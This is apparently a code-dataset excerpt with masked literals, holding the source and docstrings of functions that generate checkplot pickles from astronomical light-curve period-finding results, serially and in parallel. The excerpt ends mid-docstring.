{"signature": "def runcp(<EOL>pfpickle,<EOL>outdir,<EOL>lcbasedir,<EOL>lcfname=None,<EOL>cprenorm=False,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>makeneighborlcs=True,<EOL>fast_mode=False,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>xmatchinfo=None,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>minobservations=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>skipdone=False,<EOL>done_callback=None,<EOL>done_callback_args=None,<EOL>done_callback_kwargs=None<EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if pfpickle is not None:<EOL><INDENT>if pfpickle.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(pfpickle,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(pfpickle,'<STR_LIT:rb>')<EOL><DEDENT>pfresults = pickle.load(infd)<EOL>infd.close()<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>if ((lcfname is not None or pfpickle is None) and os.path.exists(lcfname)):<EOL><INDENT>lcfpath = lcfname<EOL>objectid = None<EOL><DEDENT>else:<EOL><INDENT>if pfpickle is not None:<EOL><INDENT>objectid = pfresults['<STR_LIT>']<EOL>lcfbasename = pfresults['<STR_LIT>']<EOL>lcfsearchpath = os.path.join(lcbasedir, lcfbasename)<EOL>if os.path.exists(lcfsearchpath):<EOL><INDENT>lcfpath = lcfsearchpath<EOL><DEDENT>elif lcfname is not None and os.path.exists(lcfname):<EOL><INDENT>lcfpath = lcfname<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(pfpickle, objectid, lcfsearchpath, lcfname))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>lcdict = readerfunc(lcfpath)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>if objectid is None:<EOL><INDENT>if '<STR_LIT>' in lcdict:<EOL><INDENT>objectid = lcdict['<STR_LIT>']<EOL><DEDENT>elif ('<STR_LIT>' in lcdict['<STR_LIT>'] and<EOL>lcdict['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>objectid = lcdict['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in lcdict['<STR_LIT>'] and lcdict['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>objectid = lcdict['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectid = uuid.uuid4().hex[:<NUM_LIT:5>]<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % objectid)<EOL><DEDENT><DEDENT>if normfunc is not None:<EOL><INDENT>lcdict = normfunc(lcdict)<EOL><DEDENT>cpfs = []<EOL>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if pfpickle is not None:<EOL><INDENT>if '<STR_LIT>' in pfresults[mcol]:<EOL><INDENT>pflist = [<EOL>pfresults[mcol][x] for x in<EOL>pfresults[mcol]['<STR_LIT>'] if<EOL>len(pfresults[mcol][x].keys()) > <NUM_LIT:0><EOL>]<EOL><DEDENT>else:<EOL><INDENT>pflist = []<EOL>for pfm in PFMETHODS:<EOL><INDENT>if (pfm in pfresults[mcol] and<EOL>len(pfresults[mcol][pfm].keys()) > <NUM_LIT:0>):<EOL><INDENT>pflist.append(pfresults[mcol][pfm])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pflist = []<EOL><DEDENT>outfile = os.path.join(outdir,<EOL>'<STR_LIT>' % (<EOL>squeeze(objectid).replace('<STR_LIT:U+0020>','<STR_LIT:->'),<EOL>mcol<EOL>))<EOL>if skipdone and os.path.exists(outfile):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % outfile)<EOL>return outfile<EOL><DEDENT>if '<STR_LIT>' not in lcdict['<STR_LIT>']:<EOL><INDENT>lcdict['<STR_LIT>']['<STR_LIT>'] = objectid<EOL><DEDENT>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>xtimes, xmags, xerrs = ntimes, nmags, errs<EOL><DEDENT>else:<EOL><INDENT>xtimes, xmags, xerrs = times, mags, errs<EOL><DEDENT>cpd = checkplot_dict(<EOL>pflist,<EOL>xtimes, xmags, xerrs,<EOL>objectinfo=lcdict['<STR_LIT>'],<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>xmatchinfo=xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>sigclip=sigclip,<EOL>mindet=minobservations,<EOL>verbose=False,<EOL>fast_mode=fast_mode,<EOL>magsarefluxes=magsarefluxes,<EOL>normto=cprenorm  <EOL>)<EOL>if makeneighborlcs:<EOL><INDENT>cpdupdated = update_checkplotdict_nbrlcs(<EOL>cpd,<EOL>tcol, mcol, ecol,<EOL>lcformat=lcformat,<EOL>verbose=False<EOL>)<EOL><DEDENT>else:<EOL><INDENT>cpdupdated = cpd<EOL><DEDENT>cpf = _write_checkplot_picklefile(<EOL>cpdupdated,<EOL>outfile=outfile,<EOL>protocol=pickle.HIGHEST_PROTOCOL,<EOL>outgzip=False<EOL>)<EOL>cpfs.append(cpf)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (objectid, repr(cpfs)))<EOL>if done_callback is not None:<EOL><INDENT>if (done_callback_args is not None and<EOL>isinstance(done_callback_args,list)):<EOL><INDENT>done_callback_args = tuple([cpfs] + done_callback_args)<EOL><DEDENT>else:<EOL><INDENT>done_callback_args = (cpfs,)<EOL><DEDENT>if (done_callback_kwargs is not None and<EOL>isinstance(done_callback_kwargs, dict)):<EOL><INDENT>done_callback_kwargs.update(dict(<EOL>fast_mode=fast_mode,<EOL>lcfname=lcfname,<EOL>cprenorm=cprenorm,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>xmatchinfo=xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>minobservations=minobservations,<EOL>sigclip=sigclip,<EOL>lcformat=lcformat,<EOL>fileglob=fileglob,<EOL>readerfunc=readerfunc,<EOL>normfunc=normfunc,<EOL>magsarefluxes=magsarefluxes,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>skipdone=skipdone,<EOL>))<EOL><DEDENT>else:<EOL><INDENT>done_callback_kwargs = dict(<EOL>fast_mode=fast_mode,<EOL>lcfname=lcfname,<EOL>cprenorm=cprenorm,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>xmatchinfo=xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>minobservations=minobservations,<EOL>sigclip=sigclip,<EOL>lcformat=lcformat,<EOL>fileglob=fileglob,<EOL>readerfunc=readerfunc,<EOL>normfunc=normfunc,<EOL>magsarefluxes=magsarefluxes,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>skipdone=skipdone,<EOL>)<EOL><DEDENT>try:<EOL><INDENT>done_callback(*done_callback_args, **done_callback_kwargs)<EOL>LOGINFO('<STR_LIT>' % cpfs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % cpfs)<EOL><DEDENT><DEDENT>return cpfs<EOL>", "docstring": "This makes a checkplot pickle for the given period-finding result pickle\n    produced by `lcproc.periodfinding.runpf`.\n\n    Parameters\n    ----------\n\n    pfpickle : str or None\n        This is the filename of the period-finding result pickle file created by\n        `lcproc.periodfinding.runpf`. If this is None, the checkplot will be\n        made anyway, but no phased LC information will be collected into the\n        output checkplot pickle. This can be useful for just collecting GAIA and\n        other external information and making LC plots for an object.\n\n    outdir : str\n        This is the directory to which the output checkplot pickle will be\n        written.\n\n    lcbasedir : str\n        The base directory where this function will look for the light curve\n        file associated with the object in the input period-finding result\n        pickle file.\n\n    lcfname : str or None\n        This is usually None because we'll get the path to the light curve\n        associated with this period-finding pickle from the pickle itself. If\n        `pfpickle` is None, however, this function will use `lcfname` to look up\n        the light curve file instead. If both are provided, the value of\n        `lcfname` takes precedence.\n\n        Providing the light curve file name in this kwarg is useful when you're\n        making checkplots directly from light curve files and not including\n        period-finder results (perhaps because period-finding takes a long time\n        for large collections of LCs).\n\n    cprenorm : bool\n        Set this to True if the light curves should be renormalized by\n        `checkplot.checkplot_pickle`. This is set to False by default because we\n        do our own normalization in this function using the light curve's\n        registered normalization function and pass the normalized times, mags,\n        errs to the `checkplot.checkplot_pickle` function.\n\n    lclistpkl : str or dict\n        This is either the filename of a pickle or the actual dict produced by\n        lcproc.make_lclist. This is used to gather neighbor information.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    makeneighborlcs : bool\n        If True, will make light curve and phased light curve plots for all\n        neighbors to the current object found in the catalog passed in using\n        `lclistpkl`.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n                skyview_lookup = False\n                skyview_timeout = 10.0\n                skyview_retry_failed = False\n                dust_timeout = 10.0\n                gaia_submit_timeout = 7.0\n                gaia_max_timeout = 10.0\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n                skyview_lookup = True\n                skyview_timeout = fast_mode\n                skyview_retry_failed = False\n                dust_timeout = fast_mode\n                gaia_submit_timeout = 0.66*fast_mode\n                gaia_max_timeout = fast_mode\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str or None\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        `load_xmatch_external_catalogs` above, or the path to the xmatch info\n        pickle file produced by that function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    minobservations : int\n        The minimum of observations the input object's mag/flux time-series must\n        have for this function to plot its light curve and phased light\n        curve. If the object has less than this number, no light curves will be\n        plotted, but the checkplotdict will still contain all of the other\n        information.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in generating this checkplot.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in generating this checkplot.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in generating this checkplot.\n\n    skipdone : bool\n        This indicates if this function will skip creating checkplots that\n        already exist corresponding to the current `objectid` and `magcol`. If\n        `skipdone` is set to True, this will be done.\n\n    done_callback : Python function or None\n        This is used to provide a function to execute after the checkplot\n        pickles are generated. This is useful if you want to stream the results\n        of checkplot making to some other process, e.g. directly running an\n        ingestion into an LCC-Server collection. The function will always get\n        the list of the generated checkplot pickles as its first arg, and all of\n        the kwargs for runcp in the kwargs dict. Additional args and kwargs can\n        be provided by giving a list in the `done_callbacks_args` kwarg and a\n        dict in the `done_callbacks_kwargs` kwarg.\n\n        NOTE: the function you pass in here should be pickleable by normal\n        Python if you want to use it with the parallel_cp and parallel_cp_lcdir\n        functions below.\n\n    done_callback_args : tuple or None\n        If not None, contains any args to pass into the `done_callback`\n        function.\n\n    done_callback_kwargs : dict or None\n        If not None, contains any kwargs to pass into the `done_callback`\n        function.\n\n    Returns\n    -------\n\n    list of str\n        This returns a list of checkplot pickle filenames with one element for\n        each (timecol, magcol, errcol) combination provided in the default\n        lcformat config or in the timecols, magcols, errcols kwargs.", "id": "f14700:m2"}
{"signature": "def runcp_worker(task):", "body": "pfpickle, outdir, lcbasedir, kwargs = task<EOL>try:<EOL><INDENT>return runcp(pfpickle, outdir, lcbasedir, **kwargs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (pfpickle, e))<EOL>return None<EOL><DEDENT>", "docstring": "This is the worker for running checkplots.\n\nParameters\n----------\n\ntask : tuple\n    This is of the form: (pfpickle, outdir, lcbasedir, kwargs).\n\nReturns\n-------\n\nlist of str\n    The list of checkplot pickles returned by the `runcp` function.", "id": "f14700:m3"}
{"signature": "def parallel_cp(<EOL>pfpicklelist,<EOL>outdir,<EOL>lcbasedir,<EOL>fast_mode=False,<EOL>lcfnamelist=None,<EOL>cprenorm=False,<EOL>lclistpkl=None,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>makeneighborlcs=True,<EOL>xmatchinfo=None,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>minobservations=<NUM_LIT>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>skipdone=False,<EOL>done_callback=None,<EOL>done_callback_args=None,<EOL>done_callback_kwargs=None,<EOL>liststartindex=None,<EOL>maxobjects=None,<EOL>nworkers=NCPUS,<EOL>):", "body": "<EOL>if sys.platform == '<STR_LIT>':<EOL><INDENT>import requests<EOL>requests.get('<STR_LIT>')<EOL><DEDENT>if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>if (liststartindex is not None) and (maxobjects is None):<EOL><INDENT>pfpicklelist = pfpicklelist[liststartindex:]<EOL>if lcfnamelist is not None:<EOL><INDENT>lcfnamelist = lcfnamelist[liststartindex:]<EOL><DEDENT><DEDENT>elif (liststartindex is None) and (maxobjects is not None):<EOL><INDENT>pfpicklelist = pfpicklelist[:maxobjects]<EOL>if lcfnamelist is not None:<EOL><INDENT>lcfnamelist = lcfnamelist[:maxobjects]<EOL><DEDENT><DEDENT>elif (liststartindex is not None) and (maxobjects is not None):<EOL><INDENT>pfpicklelist = (<EOL>pfpicklelist[liststartindex:liststartindex+maxobjects]<EOL>)<EOL>if lcfnamelist is not None:<EOL><INDENT>lcfnamelist = lcfnamelist[liststartindex:liststartindex+maxobjects]<EOL><DEDENT><DEDENT>if lcfnamelist is None:<EOL><INDENT>lcfnamelist = [None]*len(pfpicklelist)<EOL><DEDENT>tasklist = [(x, outdir, lcbasedir,<EOL>{'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformatdir,<EOL>'<STR_LIT>':y,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':lclistpkl,<EOL>'<STR_LIT>':gaia_max_timeout,<EOL>'<STR_LIT>':gaia_mirror,<EOL>'<STR_LIT>':nbrradiusarcsec,<EOL>'<STR_LIT>':maxnumneighbors,<EOL>'<STR_LIT>':makeneighborlcs,<EOL>'<STR_LIT>':xmatchinfo,<EOL>'<STR_LIT>':xmatchradiusarcsec,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':minobservations,<EOL>'<STR_LIT>':skipdone,<EOL>'<STR_LIT>':cprenorm,<EOL>'<STR_LIT>':fast_mode,<EOL>'<STR_LIT>':done_callback,<EOL>'<STR_LIT>':done_callback_args,<EOL>'<STR_LIT>':done_callback_kwargs}) for<EOL>x,y in zip(pfpicklelist, lcfnamelist)]<EOL>resultfutures = []<EOL>results = []<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(runcp_worker, tasklist)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>executor.shutdown()<EOL>return results<EOL>", "docstring": "This drives the parallel execution of `runcp` for a list of periodfinding\n    result pickles.\n\n    Parameters\n    ----------\n\n    pfpicklelist : list of str or list of Nones\n        This is the list of the filenames of the period-finding result pickles\n        to process. To make checkplots using the light curves directly, set this\n        to a list of Nones with the same length as the list of light curve files\n        that you provide in `lcfnamelist`.\n\n    outdir : str\n        The directory the checkplot pickles will be written to.\n\n    lcbasedir : str\n        The base directory that this function will look in to find the light\n        curves pointed to by the period-finding result files. If you're using\n        `lcfnamelist` to provide a list of light curve filenames directly, this\n        arg is ignored.\n\n    lcfnamelist : list of str or None\n        If this is provided, it must be a list of the input light curve\n        filenames to process. These can either be associated with each input\n        period-finder result pickle, or can be provided standalone to make\n        checkplots without phased LC plots in them. In the second case, you must\n        set `pfpicklelist` to a list of Nones that matches the length of\n        `lcfnamelist`.\n\n    cprenorm : bool\n        Set this to True if the light curves should be renormalized by\n        `checkplot.checkplot_pickle`. This is set to False by default because we\n        do our own normalization in this function using the light curve's\n        registered normalization function and pass the normalized times, mags,\n        errs to the `checkplot.checkplot_pickle` function.\n\n    lclistpkl : str or dict\n        This is either the filename of a pickle or the actual dict produced by\n        lcproc.make_lclist. This is used to gather neighbor information.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    makeneighborlcs : bool\n        If True, will make light curve and phased light curve plots for all\n        neighbors found in the object collection for each input object.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n                skyview_lookup = False\n                skyview_timeout = 10.0\n                skyview_retry_failed = False\n                dust_timeout = 10.0\n                gaia_submit_timeout = 7.0\n                gaia_max_timeout = 10.0\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n                skyview_lookup = True\n                skyview_timeout = fast_mode\n                skyview_retry_failed = False\n                dust_timeout = fast_mode\n                gaia_submit_timeout = 0.66*fast_mode\n                gaia_max_timeout = fast_mode\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str or None\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    xmatchinfo : str or dict\n        This is either the xmatch dict produced by the function\n        `load_xmatch_external_catalogs` above, or the path to the xmatch info\n        pickle file produced by that function.\n\n    xmatchradiusarcsec : float\n        This is the cross-matching radius to use in arcseconds.\n\n    minobservations : int\n        The minimum of observations the input object's mag/flux time-series must\n        have for this function to plot its light curve and phased light\n        curve. If the object has less than this number, no light curves will be\n        plotted, but the checkplotdict will still contain all of the other\n        information.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in generating this checkplot.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in generating this checkplot.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in generating this checkplot.\n\n    skipdone : bool\n        This indicates if this function will skip creating checkplots that\n        already exist corresponding to the current `objectid` and `magcol`. If\n        `skipdone` is set to True, this will be done.\n\n    done_callback : Python function or None\n        This is used to provide a function to execute after the checkplot\n        pickles are generated. This is useful if you want to stream the results\n        of checkplot making to some other process, e.g. directly running an\n        ingestion into an LCC-Server collection. The function will always get\n        the list of the generated checkplot pickles as its first arg, and all of\n        the kwargs for runcp in the kwargs dict. Additional args and kwargs can\n        be provided by giving a list in the `done_callbacks_args` kwarg and a\n        dict in the `done_callbacks_kwargs` kwarg.\n\n        NOTE: the function you pass in here should be pickleable by normal\n        Python if you want to use it with the parallel_cp and parallel_cp_lcdir\n        functions below.\n\n    done_callback_args : tuple or None\n        If not None, contains any args to pass into the `done_callback`\n        function.\n\n    done_callback_kwargs : dict or None\n        If not None, contains any kwargs to pass into the `done_callback`\n        function.\n\n    liststartindex : int\n        The index of the `pfpicklelist` (and `lcfnamelist` if provided) to start\n        working at.\n\n    maxobjects : int\n        The maximum number of objects to process in this run. Use this with\n        `liststartindex` to effectively distribute working on a large list of\n        input period-finding result pickles (and light curves if `lcfnamelist`\n        is also provided) over several sessions or machines.\n\n    nworkers : int\n        The number of parallel workers that will work on the checkplot\n        generation process.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict with keys = input period-finding pickles and vals =\n        list of the corresponding checkplot pickles produced.", "id": "f14700:m4"}
{"signature": "def parallel_cp_pfdir(pfpickledir,<EOL>outdir,<EOL>lcbasedir,<EOL>pfpickleglob='<STR_LIT>',<EOL>lclistpkl=None,<EOL>cprenorm=False,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>makeneighborlcs=True,<EOL>fast_mode=False,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>xmatchinfo=None,<EOL>xmatchradiusarcsec=<NUM_LIT>,<EOL>minobservations=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>skipdone=False,<EOL>done_callback=None,<EOL>done_callback_args=None,<EOL>done_callback_kwargs=None,<EOL>maxobjects=None,<EOL>nworkers=<NUM_LIT:32>):", "body": "pfpicklelist = sorted(glob.glob(os.path.join(pfpickledir, pfpickleglob)))<EOL>LOGINFO('<STR_LIT>' %<EOL>len(pfpicklelist))<EOL>return parallel_cp(pfpicklelist,<EOL>outdir,<EOL>lcbasedir,<EOL>fast_mode=fast_mode,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>maxnumneighbors=maxnumneighbors,<EOL>makeneighborlcs=makeneighborlcs,<EOL>xmatchinfo=xmatchinfo,<EOL>xmatchradiusarcsec=xmatchradiusarcsec,<EOL>sigclip=sigclip,<EOL>minobservations=minobservations,<EOL>cprenorm=cprenorm,<EOL>maxobjects=maxobjects,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>skipdone=skipdone,<EOL>nworkers=nworkers,<EOL>done_callback=done_callback,<EOL>done_callback_args=done_callback_args,<EOL>done_callback_kwargs=done_callback_kwargs)<EOL>", "docstring": "This drives the parallel execution of `runcp` for a directory of\n    periodfinding pickles.\n\n    Parameters\n    ----------\n\n    pfpickledir : str\n        This is the directory containing all of the period-finding pickles to\n        process.\n\n    outdir : str\n        The directory the checkplot pickles will be written to.\n\n    lcbasedir : str\n        The base directory that this function will look in to find the light\n        curves pointed to by the period-finding result files. If you're using\n        `lcfnamelist` to provide a list of light curve filenames directly, this\n        arg is ignored.\n\n    pkpickleglob : str\n        This is a UNIX file glob to select period-finding result pickles in the\n        specified `pfpickledir`.\n\n    lclistpkl : str or dict\n        This is either the filename of a pickle or the actual dict produced by\n        lcproc.make_lclist. This is used to gather neighbor information.\n\n    cprenorm : bool\n        Set this to True if the light curves should be renormalized by\n        `checkplot.checkplot_pickle`. This is set to False by default because we\n        do our own normalization in this function using the light curve's\n        registered normalization function and pass the normalized times, mags,\n        errs to the `checkplot.checkplot_pickle` function.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    makeneighborlcs : bool\n        If True, will make light curve and phased light curve plots for all\n        neighbors found in the object collection for each input object.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n                skyview_lookup = False\n                skyview_timeout = 10.0\n                skyview_retry_failed = False\n                dust_timeout = 10.0\n                gaia_submit_timeout = 7.0\n                gaia_max_timeout = 10.0\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n                skyview_lookup = True\n                skyview_timeout = fast_mode\n                skyview_retry_failed = False\n                dust_timeout = fast_mode\n                gaia_submit_timeout = 0.66*fast_mode\n                gaia_max_timeout = fast_mode\n                gaia_submit_tries = 2\n                complete_query_later = False\n                search_simbad = False\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's 